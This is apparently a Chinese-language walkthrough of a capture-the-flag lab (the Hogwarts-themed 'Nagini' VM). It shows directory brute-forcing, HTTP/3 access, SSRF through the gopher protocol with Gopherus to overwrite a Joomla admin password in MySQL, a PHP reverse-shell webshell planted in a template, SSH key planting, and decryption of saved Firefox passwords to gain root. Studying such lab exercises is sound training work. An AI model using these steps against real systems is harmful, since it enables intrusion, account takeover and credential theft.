第十四周打靶过程及思路:
1.常规端口及服务发现
2.没有在首页发现有效信息,进行路径爆破,发现joomla cms系统
尝试使用小版本字典针对html,php,txt文件进行爆破
dirsearch -u http://10.0.2.43 -f -e html,php,txt -w /usr/share/seclists/Discovery/Web
Content/directory-list-2.3-small.txt
发现note.txt下存在提示信息,使用http3访问服务器,存在一个域名
3.修改hosts文件,绑定域名,后ping通发现可以访问,但是返回的结果是相同的,使用cloudflare
下的回http3客户端
git clone --recursive https://github.com/cloudflare/quiche
cd quiche
sudo apt install cargo
sudo apt install cmake
cargo build --examples需要卸载rustc
sudo apt purge rustc
curl --proto ‘=https’ --tlsv1.2 -sSf http://sh.rustup.rc | sh 选择1后继续回车
source $HOME/.cargo/env
cargo build --examples
cargo test
程序安装完成,进入目录启动客户端
cd /target/debug/examples
./http3-client启动客户端
./http3-client https://quic.nagini.hogwarts发现了不一样的内容
访问到intellnal页面,发现可以访问内网资源
4.存在ssrf漏洞类型,开始进行内网探针,使用gophor协议和后端服务基于tcp进行交互
查看cms配置文件configurarion.php存在数据库连接信息,侦探发现3306端口也存在
使用工具进行gophor协议下的ssrf工具
git clone https://github.com/tarunkant/Gopherus.git
5…/gopherus.py --exploit mysql 输入账号名字goblin
查看表 use joomla; show tables;将生成的payload输入得到表数据,发现users表,
继续进行查看账号密码字段,账号密码但是密码是密文
使用命令md5加密后修改密码
echo -n “abc”| md5sum
./gopherus,py --exploit mysql
gobin
use joomla;update joomla_users SET password=‘payload’ WHERe username =‘site_admin’
使用修改后的密码登录成功,成功进入后台
6.找到模板模块,在文件里面加入一句话木马
/usr/share/webshell 里面存在php反弹文件,修改代码内容后
在本机侦探端口,访问新文件里面的反弹shell的指令
反弹成功拿下shell,突破外围打点完成
7.开始进行提权,ls -la发现cred.txt,解密后得到密码Love@lily
ssh登录成功,得到第一个flag,得到第二个flag需要提权到horcrux账号
/bin目录下存在可执行程序
8.在kali本机上生成公钥,拷贝到snape机器上
ssh-keygen
scp id_rsa.pub snape@10.0.2.43:~/
mv id_rsa.pub authorized_keys
chmod 640 authorized_keys
cd /home/hermoize
ssh登录成功hermoize目录且不需要密码,成功拿下第二个flag
9.继续进行提权成root
ls -la 查看到mozilla文件
进入到路径下进行查看
scp -rp hermoine@10.0.2.43:/home/hermoize/.mozilla /tmp
使用firefox_decrypt-master工具进行破解成功得到账号密码
10.ssh登录root账号成功,拿到flag,打靶完成



